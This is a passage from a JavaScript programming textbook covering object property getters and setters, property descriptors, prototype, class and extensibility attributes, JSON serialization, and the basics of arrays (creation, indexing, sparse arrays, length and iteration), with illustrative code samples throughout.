 * Return a new object that holds only the properties of o that also appear
 * in p. This is something like the intersection of o and p, but the values of
 * the properties in p are discarded
 */
function intersection(o,p) { return restrict(extend({}, o), p); }

/*
 * Return an array that holds the names of the enumerable own properties of o.
 */
function keys(o) {
    if (typeof o !== "object") throw TypeError();  // Object argument required
    var result = [];                 // The array we will return
    for(var prop in o) {             // For all enumerable properties
        if (o.hasOwnProperty(prop))  // If it is an own property
            result.push(prop);       // add it to the array.
    }
    return result;                   // Return the array.
}
```

In addition to the `for/in` loop, ECMAScript 5 defines two functions that enumerate property names. The first is `Object.keys()`, which returns an array of the names of the enumerable own properties of an object. It works just like the `keys()` utility function shown in Example 6-2.

The second ECMAScript 5 property enumeration function is `Object.getOwnPropertyNames()`. It works like `Object.keys()` but returns the names of all the own properties of the specified object, not just the enumerable properties. There is no way to write this function in ECMAScript 3, because ECMAScript 3 does not provide a way to obtain the nonenumerable properties of an object.

6.6 Property Getters and Setters

We've said that an object property is a name, a value, and a set of attributes. In ECMAScript 5[3] the value may be replaced by one or two methods, known as a *getter*

3. And in recent ECMAScript 3 versions of major browsers other than IE.

and a *setter*. Properties defined by getters and setters are sometimes known as *accessor properties* to distinguish them from *data properties* that have a simple value.

When a program queries the value of an accessor property, JavaScript invokes the getter method (passing no arguments). The return value of this method becomes the value of the property access expression. When a program sets the value of an accessor property, JavaScript invokes the setter method, passing the value of the right-hand side of the assignment. This method is responsible for "setting," in some sense, the property value. The return value of the setter method is ignored.

Accessor properties do not have a *writable* attribute as data properties do. If a property has both a getter and a setter method, it is a read/write property. If it has only a getter method, it is a read-only property. And if it has only a setter method, it is a write-only property (something that is not possible with data properties) and attempts to read it always evaluate to `undefined`.

The easiest way to define accessor properties is with an extension to the object literal syntax:

```
var o = {
    // An ordinary data property
    data_prop: value,

    // An accessor property defined as a pair of functions
    get accessor_prop() { /* function body here */ },
    set accessor_prop(value) { /* function body here */ }
};
```

Accessor properties are defined as one or two functions whose name is the same as the property name, and with the `function` keyword replaced with `get` and/or `set`. Note that no colon is used to separate the name of the property from the functions that access that property, but that a comma is still required after the function body to separate the method from the next method or data property. As an example, consider the following object that represents a 2D Cartesian point. It has ordinary data properties to represent the X and Y coordinates of the point, and it has accessor properties for the equivalent polar coordinates of the point:

```
var p = {
   // x and y are regular read-write data properties.
   x: 1.0,
   y: 1.0,

   // r is a read-write accessor property with getter and setter.
   // Don't forget to put a comma after accessor methods.
   get r() { return Math.sqrt(this.x*this.x + this.y*this.y); },
   set r(newvalue) {
     var oldvalue = Math.sqrt(this.x*this.x + this.y*this.y);
     var ratio = newvalue/oldvalue;
     this.x *= ratio;
     this.y *= ratio;
   },
```

```
    // theta is a read-only accessor property with getter only.
    get theta() { return Math.atan2(this.y, this.x); }
};
```

Note the use of the keyword `this` in the getters and setter above. JavaScript invokes these functions as methods of the object on which they are defined, which means that within the body of the function `this` refers to the point object. So the getter method for the `r` property can refer to the `x` and `y` properties as `this.x` and `this.y`. Methods and the `this` keyword are covered in more detail in §8.2.2.

Accessor properties are inherited, just as data properties are, so you can use the object `p` defined above as a prototype for other points. You can give the new objects their own `x` and `y` properties, and they'll inherit the `r` and `theta` properties:

```
var q = inherit(p);  // Create a new object that inherits getters and setters
q.x = 0, q.y = 0;    // Create q's own data properties
console.log(q.r);    // And use the inherited accessor properties
console.log(q.theta);
```

The code above uses accessor properties to define an API that provides two representations (Cartesian coordinates and polar coordinates) of a single set of data. Other reasons to use accessor properties include sanity checking of property writes and returning different values on each property read:

```
// This object generates strictly increasing serial numbers
var serialnum = {
    // This data property holds the next serial number.
    // The $ in the property name hints that it is a private property.
    $n: 0,

    // Return the current value and increment it
    get next() { return this.$n++; },

    // Set a new value of n, but only if it is larger than current
    set next(n) {
        if (n >= this.$n) this.$n = n;
        else throw "serial number can only be set to a larger value";
    }
};
```

Finally, here is one more example that uses a getter method to implement a property with "magical" behavior.

```
// This object has accessor properties that return random numbers.
// The expression "random.octet", for example, yields a random number
// between 0 and 255 each time it is evaluated.
var random = {
    get octet() { return Math.floor(Math.random()*256); },
    get uint16() { return Math.floor(Math.random()*65536); },
    get int16() { return Math.floor(Math.random()*65536)-32768; }
};
```

This section has shown only how to define accessor properties when creating a new object from an object literal. The next section shows how to add accessor properties to existing objects.

6.7 Property Attributes

In addition to a name and value, properties have attributes that specify whether they can be written, enumerated, and configured. In ECMAScript 3, there is no way to set these attributes: all properties created by ECMAScript 3 programs are writable, enumerable, and configurable, and there is no way to change this. This section explains the ECMAScript 5 API for querying and setting property attributes. This API is particularly important to library authors because:

- It allows them to add methods to prototype objects and make them nonenumerable, like built-in methods.
- It allows them to "lock down" their objects, defining properties that cannot be changed or deleted.

For the purposes of this section, we are going to consider getter and setter methods of an accessor property to be property attributes. Following this logic, we'll even say that the value of a data property is an attribute as well. Thus, we can say that a property has a name and four attributes. The four attributes of a data property are *value*, *writable*, *enumerable*, and *configurable*. Accessor properties don't have a *value* attribute or a *writable* attribute: their writability is determined by the presence or absence of a setter. So the four attributes of an accessor property are *get*, *set*, *enumerable*, and *configurable*.

The ECMAScript 5 methods for querying and setting the attributes of a property use an object called a *property descriptor* to represent the set of four attributes. A property descriptor object has properties with the same names as the attributes of the property it describes. Thus, the property descriptor object of a data property has properties named `value`, `writable`, `enumerable`, and `configurable`. And the descriptor for an accessor property has `get` and `set` properties instead of `value` and `writable`. The `writable`, `enumerable`, and `configurable` properties are boolean values, and the `get` and `set` properties are function values, of course.

To obtain the property descriptor for a named property of a specified object, call `Object.getOwnPropertyDescriptor()`:

```
// Returns {value: 1, writable:true, enumerable:true, configurable:true}
Object.getOwnPropertyDescriptor({x:1}, "x");

// Now query the octet property of the random object defined above.
// Returns { get: /*func*/, set:undefined, enumerable:true, configurable:true}
Object.getOwnPropertyDescriptor(random, "octet");

// Returns undefined for inherited properties and properties that don't exist.
Object.getOwnPropertyDescriptor({}, "x");         // undefined, no such prop
Object.getOwnPropertyDescriptor({}, "toString");  // undefined, inherited
```

As its name implies, `Object.getOwnPropertyDescriptor()` works only for own properties. To query the attributes of inherited properties, you must explicitly traverse the prototype chain (see `Object.getPrototypeOf()` in §6.8.1).

To set the attributes of a property, or to create a new property with the specified attributes, call `Object.defineProperty()`, passing the object to be modified, the name of the property to be created or altered, and the property descriptor object:

```
var o = {};  // Start with no properties at all
// Add a nonenumerable data property x with value 1.
Object.defineProperty(o, "x", { value : 1,
                                writable: true,
                                enumerable: false,
                                configurable: true});

// Check that the property is there but is nonenumerable
o.x;           // => 1
Object.keys(o) // => []

// Now modify the property x so that it is read-only
Object.defineProperty(o, "x", { writable: false });

// Try to change the value of the property
o.x = 2;      // Fails silently or throws TypeError in strict mode
o.x           // => 1

// The property is still configurable, so we can change its value like this:
Object.defineProperty(o, "x", { value: 2 });
o.x           // => 2

// Now change x from a data property to an accessor property
Object.defineProperty(o, "x", { get: function() { return 0; } });
o.x           // => 0
```

The property descriptor you pass to `Object.defineProperty()` does not have to include all four attributes. If you're creating a new property, then omitted attributes are taken to be `false` or `undefined`. If you're modifying an existing property, then the attributes you omit are simply left unchanged. Note that this method alters an existing own property or creates a new own property, but it will not alter an inherited property.

If you want to create or modify more than one property at a time, use `Object.defineProperties()`. The first argument is the object that is to be modified. The second argument is an object that maps the names of the properties to be created or modified to the property descriptors for those properties. For example:

```
var p = Object.defineProperties({}, {
    x: { value: 1, writable: true, enumerable:true, configurable:true },
    y: { value: 1, writable: true, enumerable:true, configurable:true },
    r: {
        get: function() { return Math.sqrt(this.x*this.x + this.y*this.y) },
        enumerable:true,
        configurable:true
    }
});
```

This code starts with an empty object, then adds two data properties and one read-only accessor property to it. It relies on the fact that `Object.defineProperties()` returns the modified object (as does `Object.defineProperty()`).

We saw the ECMAScript 5 method `Object.create()` in §6.1. We learned there that the first argument to that method is the prototype object for the newly created object. This method also accepts a second optional argument, which is the same as the second argument to `Object.defineProperties()`. If you pass a set of property descriptors to `Object.create()`, then they are used to add properties to the newly created object.

`Object.defineProperty()` and `Object.defineProperties()` throw TypeError if the attempt to create or modify a property is not allowed. This happens if you attempt to add a new property to a nonextensible (see §6.8.3) object. The other reasons that these methods might throw TypeError have to do with the attributes themselves. The *writable* attribute governs attempts to change the *value* attribute. And the *configurable* attribute governs attempts to change the other attributes (and also specifies whether a property can be deleted). The rules are not completely straightforward, however. It is possible to change the value of a nonwritable property if that property is configurable, for example. Also, it is possible to change a property from writable to nonwritable even if that property is nonconfigurable. Here are the complete rules. Calls to `Object.defineProperty()` or `Object.defineProperties()` that attempt to violate them throw TypeError:

- If an object is not extensible, you can edit its existing own properties, but you cannot add new properties to it.
- If a property is not configurable, you cannot change its configurable or enumerable attributes.
- If an accessor property is not configurable, you cannot change its getter or setter method, and you cannot change it to a data property.
- If a data property is not configurable, you cannot change it to an accessor property.
- If a data property is not configurable, you cannot change its *writable* attribute from `false` to `true`, but you can change it from `true` to `false`.
- If a data property is not configurable and not writable, you cannot change its value. You can change the value of a property that is configurable but nonwritable, however (because that would be the same as making it writable, then changing the value, then converting it back to nonwritable).

Example 6-2 included an `extend()` function that copied properties from one object to another. That function simply copied the name and value of the properties and ignored their attributes. Furthermore, it did not copy the getter and setter methods of accessor properties, but simply converted them into static data properties. Example 6-3 shows a new version of `extend()` that uses `Object.getOwnPropertyDescriptor()` and `Object.defineProperty()` to copy all property attributes. Rather than being written as a function, this version is defined as a new Object method and is added as a nonenumerable property to `Object.prototype`.

Example 6-3. Copying property attributes

```
/*
 * Add a nonenumerable extend() method to Object.prototype.
 * This method extends the object on which it is called by copying properties
 * from the object passed as its argument.  All property attributes are
 * copied, not just the property value.  All own properties (even non-
 * enumerable ones) of the argument object are copied unless a property
 * with the same name already exists in the target object.
 */
Object.defineProperty(Object.prototype,
    "extend",                   // Define Object.prototype.extend
    {
        writable: true,
        enumerable: false,      // Make it nonenumerable
        configurable: true,
        value: function(o) {    // Its value is this function
            // Get all own props, even nonenumerable ones
            var names = Object.getOwnPropertyNames(o);
            // Loop through them
            for(var i = 0; i < names.length; i++) {
                // Skip props already in this object
                if (names[i] in this) continue;
                // Get property description from o
                var desc = Object.getOwnPropertyDescriptor(o,names[i]);
                // Use it to create property on this
                Object.defineProperty(this, names[i], desc);
            }
        }
    });
```

6.7.1 Legacy API for Getters and Setters

The object literal syntax for accessor properties described in §6.6 allows us to define accessor properties in new objects, but it doesn't allow us to query the getter and setter methods or to add new accessor properties to existing objects. In ECMAScript 5 we can use `Object.getOwnPropertyDescriptor()` and `Object.defineProperty()` to do these things.

Most JavaScript implementations (with the major exception of the IE web browser) supported the object literal `get` and `set` syntax even before the adoption of ECMAScript 5. These implementations support a nonstandard legacy API for querying and setting getters and setters. This API consists of four methods available on all objects. `__lookupGetter__()` and `__lookupSetter__()` return the getter or setter method for a named property. And `__defineGetter__()` and `__defineSetter__()` define a getter or setter: pass the property name first and the getter or setter method second. The names of each of these methods begin and end with double underscores to indicate that they are nonstandard methods. These nonstandard methods are not documented in the reference section.

6.8 Object Attributes

Every object has associated *prototype*, *class*, and *extensible* attributes. The subsections that follow explain what these attributes do and (where possible) how to query and set them.

6.8.1 The prototype Attribute

An object's *prototype* attribute specifies the object from which it inherits properties. (Review §6.1.3 and §6.2.2 for more on prototypes and property inheritance.) This is such an important attribute that we'll usually simply say "the prototype of `o`" rather than "the prototype attribute of `o`." Also, it is important to understand that when `prototype` appears in code font, it refers to an ordinary object property, not to the prototype attribute.

The prototype attribute is set when an object is created. Recall from §6.1.3 that objects created from object literals use `Object.prototype` as their prototype. Objects created with `new` use the value of the `prototype` property of their constructor function as their prototype. And objects created with `Object.create()` use the first argument to that function (which may be `null`) as their prototype.

In ECMAScript 5, you can query the prototype of any object by passing that object to `Object.getPrototypeOf()`. There is no equivalent function in ECMAScript 3, but it is often possible to determine the prototype of an object `o` using the expression `o.constructor.prototype`. Objects created with a `new` expression usually inherit a `constructor` property that refers to the constructor function used to create the object. And, as described above, constructor functions have a `prototype` property that specifies the prototype for objects created using that constructor. This is explained in more detail in §9.2, which also explains why it is not a completely reliable method for determining an object's prototype. Note that objects created by object literals or by `Object.create()` have a `constructor` property that refers to the `Object()` constructor. Thus, `constructor.prototype` refers to the correct prototype for object literals, but does not usually do so for objects created with `Object.create()`.

To determine whether one object is the prototype of (or is part of the prototype chain of) another object, use the `isPrototypeOf()` method. To find out if `p` is the prototype of `o` write `p.isPrototypeOf(o)`. For example:

```
var p = {x:1};                  // Define a prototype object.
var o = Object.create(p);       // Create an object with that prototype.
p.isPrototypeOf(o)              // => true: o inherits from p
Object.prototype.isPrototypeOf(o) // => true: p inherits from Object.prototype
```

Note that `isPrototypeOf()` performs a function similar to the `instanceof` operator (see §4.9.4).

Mozilla's implementation of JavaScript has (since the early days of Netscape) exposed the prototype attribute through the specially named `__proto__` property, and you can use this property to directly query or set the prototype of any object. Using `__proto__`

is not portable: it has not been (and probably never will be) implemented by IE or Opera, although it is currently supported by Safari and Chrome. Versions of Firefox that implement ECMAScript 5 still support `__proto__`, but restrict its ability to change the prototype of nonextensible objects.

6.8.2 The class Attribute

An object's *class* attribute is a string that provides information about the type of the object. Neither ECMAScript 3 nor ECMAScript 5 provide any way to set this attribute, and there is only an indirect technique for querying it. The default `toString()` method (inherited from `Object.prototype`) returns a string of the form:

```
[object class]
```

So to obtain the class of an object, you can invoke this `toString()` method on it, and extract the eighth through the second-to-last characters of the returned string. The tricky part is that many objects inherit other, more useful `toString()` methods, and to invoke the correct version of `toString()`, we must do so indirectly, using the `Function.call()` method (see §8.7.3). Example 6-4 defines a function that returns the class of any object you pass it.

Example 6-4. A classof() function

```
function classof(o) {
    if (o === null) return "Null";
    if (o === undefined) return "Undefined";
    return Object.prototype.toString.call(o).slice(8,-1);
}
```

This `classof()` function works for any JavaScript value. Numbers, strings, and booleans behave like objects when the `toString()` method is invoked on them, and the function includes special cases for `null` and `undefined`. (The special cases are not required in ECMAScript 5.) Objects created through built-in constructors such as `Array` and `Date` have *class* attributes that match the names of their constructors. Host objects typically have meaningful *class* attributes as well, though this is implementation-dependent. Objects created through object literals or by `Object.create` have a *class* attribute of "Object". If you define your own constructor function, any objects you create with it will have a *class* attribute of "Object": there is no way to specify the *class* attribute for your own classes of objects:

```
classof(null)       // => "Null"
classof(1)          // => "Number"
classof("")         // => "String"
classof(false)      // => "Boolean"
classof({})         // => "Object"
classof([])         // => "Array"
classof(/./)        // => "Regexp"
classof(new Date()) // => "Date"
classof(window)     // => "Window" (a client-side host object)
function f() {};    // Define a custom constructor
classof(new f());   // => "Object"
```

6.8.3 The extensible Attribute

The *extensible* attribute of an object specifies whether new properties can be added to the object or not. In ECMAScript 3, all built-in and user-defined objects are implicitly extensible, and the extensibility of host objects is implementation defined. In ECMAScript 5, all built-in and user-defined objects are extensible unless they have been converted to be nonextensible, and the extensibility of host objects is again implementation defined.

ECMAScript 5 defines functions for querying and setting the extensibility of an object. To determine whether an object is extensible, pass it to `Object.isExtensible()`. To make an object nonextensible, pass it to `Object.preventExtensions()`. Note that there is no way to make an object extensible again once you have made it nonextensible. Also note that calling `preventExtensions()` only affects the extensibility of the object itself. If new properties are added to the prototype of a nonextensible object, the nonextensible object will inherit those new properties.

The purpose of the *extensible* attribute is to be able to "lock down" objects into a known state and prevent outside tampering. The *extensible* object attribute is often used in conjunction with the *configurable* and *writable* property attributes, and ECMAScript 5 defines functions that make it easy to set these attributes together.

`Object.seal()` works like `Object.preventExtensions()`, but in addition to making the object nonextensible, it also makes all of the own properties of that object nonconfigurable. This means that new properties cannot be added to the object, and existing properties cannot be deleted or configured. Existing properties that are writable can still be set, however. There is no way to unseal a sealed object. You can use `Object.isSealed()` to determine whether an object is sealed.

`Object.freeze()` locks objects down even more tightly. In addition to making the object nonextensible and its properties nonconfigurable, it also makes all of the object's own data properties read-only. (If the object has accessor properties with setter methods, these are not affected and can still be invoked by assignment to the property.) Use `Object.isFrozen()` to determine if an object is frozen.

It is important to understand that `Object.seal()` and `Object.freeze()` affect only the object they are passed: they have no effect on the prototype of that object. If you want to thoroughly lock down an object, you probably need to seal or freeze the objects in the prototype chain as well.

`Object.preventExtensions()`, `Object.seal()`, and `Object.freeze()` all return the object that they are passed, which means that you can use them in nested function invocations:

```
// Create a sealed object with a frozen prototype and a nonenumerable property
var o = Object.seal(Object.create(Object.freeze({x:1}),
                                  {y: {value: 2, writable: true}}));
```

6.9 Serializing Objects

Object *serialization* is the process of converting an object's state to a string from which it can later be restored. ECMAScript 5 provides native functions `JSON.stringify()` and `JSON.parse()` to serialize and restore JavaScript objects. These functions use the JSON data interchange format. JSON stands for "JavaScript Object Notation," and its syntax is very similar to that of JavaScript object and array literals:

```
o = {x:1, y:{z:[false,null,""]}}; // Define a test object
s = JSON.stringify(o);            // s is '{"x":1,"y":{"z":[false,null,""]}}'
p = JSON.parse(s);                // p is a deep copy of o
```

The native implementation of these functions in ECMAScript 5 was modeled very closely after the public-domain ECMAScript 3 implementation available at *http://json.org/json2.js*. For practical purposes, the implementations are the same, and you can use these ECMAScript 5 functions in ECMAScript 3 with this *json2.js* module.

JSON syntax is a *subset* of JavaScript syntax, and it cannot represent all JavaScript values. Objects, arrays, strings, finite numbers, `true`, `false`, and `null` are supported and can be serialized and restored. `NaN`, `Infinity`, and `-Infinity` are serialized to `null`. Date objects are serialized to ISO-formatted date strings (see the `Date.toJSON()` function), but `JSON.parse()` leaves these in string form and does not restore the original Date object. Function, RegExp, and Error objects and the `undefined` value cannot be serialized or restored. `JSON.stringify()` serializes only the enumerable own properties of an object. If a property value cannot be serialized, that property is simply omitted from the stringified output. Both `JSON.stringify()` and `JSON.parse()` accept optional second arguments that can be used to customize the serialization and/or restoration process by specifying a list of properties to be serialized, for example, or by converting certain values during the serialization or stringification process. Complete documentation for these functions is in the reference section.

6.10 Object Methods

As discussed earlier, all JavaScript objects (except those explicitly created without a prototype) inherit properties from `Object.prototype`. These inherited properties are primarily methods, and because they are universally available, they are of particular interest to JavaScript programmers. We've already seen the `hasOwnProperty()`, `propertyIsEnumerable()`, and `isPrototypeOf()` methods. (And we've also already covered quite a few static functions defined on the `Object` constructor, such as `Object.create()` and `Object.getPrototypeOf()`.) This section explains a handful of universal object methods that are defined on `Object.prototype`, but which are intended to be overridden by other, more specialized classes.

6.10.1 The toString() Method

The `toString()` method takes no arguments; it returns a string that somehow represents the value of the object on which it is invoked. JavaScript invokes this method of an object whenever it needs to convert the object to a string. This occurs, for example, when you use the `+` operator to concatenate a string with an object or when you pass an object to a method that expects a string.

The default `toString()` method is not very informative (though it is useful for determining the class of an object, as we saw in §6.8.2). For example, the following line of code simply evaluates to the string "[object Object]":

```
var s = { x:1, y:1 }.toString();
```

Because this default method does not display much useful information, many classes define their own versions of `toString()`. For example, when an array is converted to a string, you obtain a list of the array elements, themselves each converted to a string, and when a function is converted to a string, you obtain the source code for the function. These customized versions of the `toString()` method are documented in the reference section. See `Array.toString()`, `Date.toString()`, and `Function.toString()`, for example.

§9.6.3 describes how to define a custom `toString()` method for your own classes.

6.10.2 The toLocaleString() Method

In addition to the basic `toString()` method, objects all have a `toLocaleString()`. The purpose of this method is to return a localized string representation of the object. The default `toLocaleString()` method defined by Object doesn't do any localization itself: it simply calls `toString()` and returns that value. The Date and Number classes define customized versions of `toLocaleString()` that attempt to format numbers, dates, and times according to local conventions. Array defines a `toLocaleString()` method that works like `toString()` except that it formats array elements by calling their `toLocaleString()` methods instead of their `toString()` methods.

6.10.3 The toJSON() Method

`Object.prototype` does not actually define a `toJSON()` method, but the `JSON.stringify()` method (see §6.9) looks for a `toJSON()` method on any object it is asked to serialize. If this method exists on the object to be serialized, it is invoked, and the return value is serialized, instead of the original object. See `Date.toJSON()` for an example.

6.10.4 The valueOf() Method

The `valueOf()` method is much like the `toString()` method, but it is called when JavaScript needs to convert an object to some primitive type other than a string—typically, a number. JavaScript calls this method automatically if an object is used in a context where a primitive value is required. The default `valueOf()` method does nothing interesting, but some of the built-in classes define their own `valueOf()` method (see `Date.valueOf()`, for example). §9.6.3 explains how to define a `valueOf()` method for custom object types you define.

Download from Wow! eBook <www.wowebook.com>

CHAPTER 7
Arrays

An *array* is an ordered collection of values. Each value is called an *element*, and each element has a numeric position in the array, known as its *index*. JavaScript arrays are *untyped*: an array element may be of any type, and different elements of the same array may be of different types. Array elements may even be objects or other arrays, which allows you to create complex data structures, such as arrays of objects and arrays of arrays. JavaScript arrays are *zero-based* and use 32-bit indexes: the index of the first element is 0, and the highest possible index is 4294967294 ($2^{32}-2$), for a maximum array size of 4,294,967,295 elements. JavaScript arrays are *dynamic*: they grow or shrink as needed and there is no need to declare a fixed size for the array when you create it or to reallocate it when the size changes. JavaScript arrays may be *sparse*: the elements need not have contiguous indexes and there may be gaps. Every JavaScript array has a `length` property. For nonsparse arrays, this property specifies the number of elements in the array. For sparse arrays, `length` is larger than the index of all elements.

JavaScript arrays are a specialized form of JavaScript object, and array indexes are really little more than property names that happen to be integers. We'll talk more about the specializations of arrays elsewhere in this chapter. Implementations typically optimize arrays so that access to numerically indexed array elements is generally significantly faster than access to regular object properties.

Arrays inherit properties from `Array.prototype`, which defines a rich set of array manipulation methods, covered in §7.8 and §7.9. Most of these methods are *generic*, which means that they work correctly not only for true arrays, but for any "array-like object." We'll discuss array-like objects in §7.11. In ECMAScript 5, strings behave like arrays of characters, and we'll discuss this in §7.12.

7.1 Creating Arrays

The easiest way to create an array is with an array literal, which is simply a comma-separated list of array elements within square brackets. For example:

```
var empty = [];                 // An array with no elements
var primes = [2, 3, 5, 7, 11];  // An array with 5 numeric elements
var misc = [ 1.1, true, "a", ]; // 3 elements of various types + trailing comma
```

The values in an array literal need not be constants; they may be arbitrary expressions:

```
var base = 1024;
var table = [base, base+1, base+2, base+3];
```

Array literals can contain object literals or other array literals:

```
var b = [[1,{x:1, y:2}], [2, {x:3, y:4}]];
```

If you omit a value from an array literal, the omitted element is given the value `undefined`:

```
var count = [1,,3]; // An array with 3 elements, the middle one undefined.
var undefs = [,,];  // An array with 2 elements, both undefined.
```

Array literal syntax allows an optional trailing comma, so `[,,]` has only two elements, not three.

Another way to create an array is with the `Array()` constructor. You can invoke this constructor in three distinct ways:

- Call it with no arguments:

  ```
  var a = new Array();
  ```

  This method creates an empty array with no elements and is equivalent to the array literal `[]`.
- Call it with a single numeric argument, which specifies a length:

  ```
  var a = new Array(10);
  ```

  This technique creates an array with the specified length. This form of the `Array()` constructor can be used to preallocate an array when you know in advance how many elements will be required. Note that no values are stored in the array, and the array index properties "0", "1", and so on are not even defined for the array.
- Explicitly specify two or more array elements or a single non-numeric element for the array:

  ```
  var a = new Array(5, 4, 3, 2, 1, "testing, testing");
  ```

  In this form, the constructor arguments become the elements of the new array. Using an array literal is almost always simpler than this usage of the `Array()` constructor.

7.2 Reading and Writing Array Elements

You access an element of an array using the `[]` operator. A reference to the array should appear to the left of the brackets. An arbitrary expression that has a non-negative integer

value should be inside the brackets. You can use this syntax to both read and write the value of an element of an array. Thus, the following are all legal JavaScript statements:

```
var a = ["world"];     // Start with a one-element array
var value = a[0];      // Read element 0
a[1] = 3.14;           // Write element 1
i = 2;
a[i] = 3;              // Write element 2
a[i + 1] = "hello";    // Write element 3
a[a[i]] = a[0];        // Read elements 0 and 2, write element 3
```

Remember that arrays are a specialized kind of object. The square brackets used to access array elements work just like the square brackets used to access object properties. JavaScript converts the numeric array index you specify to a string—the index `1` becomes the string `"1"`—then uses that string as a property name. There is nothing special about the conversion of the index from a number to a string: you can do that with regular objects, too:

```
o = {};        // Create a plain object
o[1] = "one";  // Index it with an integer
```

What is special about arrays is that when you use property names that are non-negative integers less than 2^{32}, the array automatically maintains the value of the `length` property for you. Above, for example, we created an array `a` with a single element. We then assigned values at indexes 1, 2, and 3. The `length` property of the array changed as we did so:

```
a.length       // => 4
```

It is helpful to clearly distinguish an *array index* from an *object property name*. All indexes are property names, but only property names that are integers between 0 and 2^{32}–1 are indexes. All arrays are objects, and you can create properties of any name on them. If you use properties that are array indexes, however, arrays have the special behavior of updating their `length` property as needed.

Note that you can index an array using numbers that are negative or that are not integers. When you do this, the number is converted to a string, and that string is used as the property name. Since the name is not a non-negative integer, it is treated as a regular object property, not an array index. Also, if you index an array with a string that happens to be a non-negative integer, it behaves as an array index, not an object property. The same is true if you use a floating-point number that is the same as an integer:

```
a[-1.23] = true;  // This creates a property named "-1.23"
a["1000"] = 0;    // This the 1001st element of the array
a[1.000]          // Array index 1.  Same as a[1]
```

The fact that array indexes are simply a special type of object property name means that JavaScript arrays have no notion of an "out of bounds" error. When you try to query a nonexistent property of any object, you don't get an error, you simply get `undefined`. This is just as true for arrays as it is for objects:

```
a = [true, false];     // This array has elements at indexes 0 and 1
a[2]                   // => undefined. No element at this index.
a[-1]                  // => undefined. No property with this name.
```

Since arrays are objects, they can inherit elements from their prototype. In ECMAScript 5, they can even have array elements defined by getter and setter methods (§6.6). If an array does inherit elements or use getters and setters for elements, you should expect it to use a nonoptimized code path: the time to access an element of such an array would be similar to regular object property lookup times.

7.3 Sparse Arrays

A *sparse* array is one in which the elements do not have contiguous indexes starting at 0. Normally, the `length` property of an array specifies the number of elements in the array. If the array is sparse, the value of the `length` property is greater than the number of elements. Sparse arrays can be created with the `Array()` constructor or simply by assigning to an array index larger than the current array `length`.

```
a = new Array(5);   // No elements, but a.length is 5.
a = [];             // Create an array with no elements and length = 0.
a[1000] = 0;        // Assignment adds one element but sets length to 1001.
```

We'll see later that you can also make an array sparse with the `delete` operator.

Arrays that are sufficiently sparse are typically implemented in a slower, more memory-efficient way than dense arrays are, and looking up elements in such an array will take about as much time as regular object property lookup.

Note that when you omit value in an array literal, you are not creating a sparse array. The omitted element exists in the array and has the value `undefined`. This is subtly different than array elements that do not exist at all. You can detect the difference between these two cases with the `in` operator:

```
var a1 = [,,,];         // This array is [undefined, undefined, undefined]
var a2 = new Array(3);  // This array has no values at all
0 in a1                 // => true: a1 has an element with index 0
0 in a2                 // => false: a2 has no element with index 0
```

The difference between `a1` and `a2` is also apparent when you use a `for/in` loop. See §7.6.

Understanding sparse arrays is an important part of understanding the true nature of JavaScript arrays. In practice, however, most JavaScript arrays you will work with will not be sparse. And, if you do have to work with a sparse array, your code will probably treat it just as it would treat a nonsparse array with `undefined` elements.

7.4 Array Length

Every array has a `length` property, and it is this property that makes arrays different from regular JavaScript objects. For arrays that are dense (i.e., not sparse), the `length`

property specifies the number of elements in the array. Its value is one more than the highest index in the array:

```
[].length            // => 0: the array has no elements
['a','b','c'].length  // => 3: highest index is 2, length is 3
```

When an array is sparse, the `length` property is greater than the number of elements, and all we can say about it is that `length` is guaranteed to be larger than the index of every element in the array. Or, put another way, an array (sparse or not) will never have an element whose index is greater than or equal to its `length`. In order to maintain this invariant, arrays have two special behaviors. The first was described above: if you assign a value to an array element whose index `i` is greater than or equal to the array's current `length`, the value of the `length` property is set to `i+1`.

The second special behavior that arrays implement in order to maintain the length invariant is that if you set the `length` property to a non-negative integer `n` smaller than its current value, any array elements whose index is greater than or equal to `n` are deleted from the array:

```
a = [1,2,3,4,5];     // Start with a 5-element array.
a.length = 3;        // a is now [1,2,3].
a.length = 0;        // Delete all elements.  a is [].
a.length = 5;        // Length is 5, but no elements, like new Array(5)
```

You can also set the `length` property of an array to a value larger than its current value. Doing this does not actually add any new elements to the array, it simply creates a sparse area at the end of the array.

In ECMAScript 5, you can make the `length` property of an array read-only with `Object.defineProperty()` (see §6.7):

```
a = [1,2,3];                              // Start with a 3-element array.
Object.defineProperty(a, "length",        // Make the length property
                      {writable: false});  // readonly.
a.length = 0;                             // a is unchanged.
```

Similarly, if you make an array element nonconfigurable, it cannot be deleted. If it cannot be deleted, then the `length` property cannot be set to less than the index of the nonconfigurable element. (See §6.7 and the `Object.seal()` and `Object.freeze()` methods in §6.8.3.)

7.5 Adding and Deleting Array Elements

We've already seen the simplest way to add elements to an array: just assign values to new indexes:

```
a = []           // Start with an empty array.
a[0] = "zero";   // And add elements to it.
a[1] = "one";
```

You can also use the `push()` method to add one or more values to the end of an array:

```
a = [];              // Start with an empty array
a.push("zero")       // Add a value at the end.  a = ["zero"]
a.push("one", "two") // Add two more values.  a = ["zero", "one", "two"]
```

Pushing a value onto an array `a` is the same as assigning the value to `a[a.length]`. You can use the `unshift()` method (described in §7.8) to insert a value at the beginning of an array, shifting the existing array elements to higher indexes.

You can delete array elements with the `delete` operator, just as you can delete object properties:

```
a = [1,2,3];
delete a[1];   // a now has no element at index 1
1 in a         // => false: no array index 1 is defined
a.length       // => 3: delete does not affect array length
```

Deleting an array element is similar to (but subtly different than) assigning `undefined` to that element. Note that using `delete` on an array element does not alter the `length` property and does not shift elements with higher indexes down to fill in the gap that is left by the deleted property. If you delete an element from an array, the array becomes sparse.

As we saw above, you can also delete elements from the end of an array simply by setting the `length` property to the new desired length. Arrays have a `pop()` method (it works with `push()`) that reduces the length of an array by 1 but also returns the value of the deleted element. There is also a `shift()` method (which goes with `unshift()`) to remove an element from the beginning of an array. Unlike `delete`, the `shift()` method shifts all elements down to an index one lower than their current index. `pop()` and `shift()` are covered in §7.8 and in the reference section.

Finally, `splice()` is the general-purpose method for inserting, deleting, or replacing array elements. It alters the `length` property and shifts array elements to higher or lower indexes as needed. See §7.8 for details.

7.6 Iterating Arrays

The most common way to loop through the elements of an array is with a `for` loop (§5.5.3):

```
var keys = Object.keys(o);   // Get an array of property names for object o
var values = []              // Store matching property values in this array
for(var i = 0; i < keys.length; i++) {  // For each index in the array
    var key = keys[i];                  // Get the key at that index
    values[i] = o[key];                 // Store the value in the values array
}
```

In nested loops, or other contexts where performance is critical, you may sometimes see this basic array iteration loop optimized so that the array length is only looked up once rather than on each iteration:

```
for(var i = 0, len = keys.length; i < len; i++) {
   // loop body remains the same
}
```

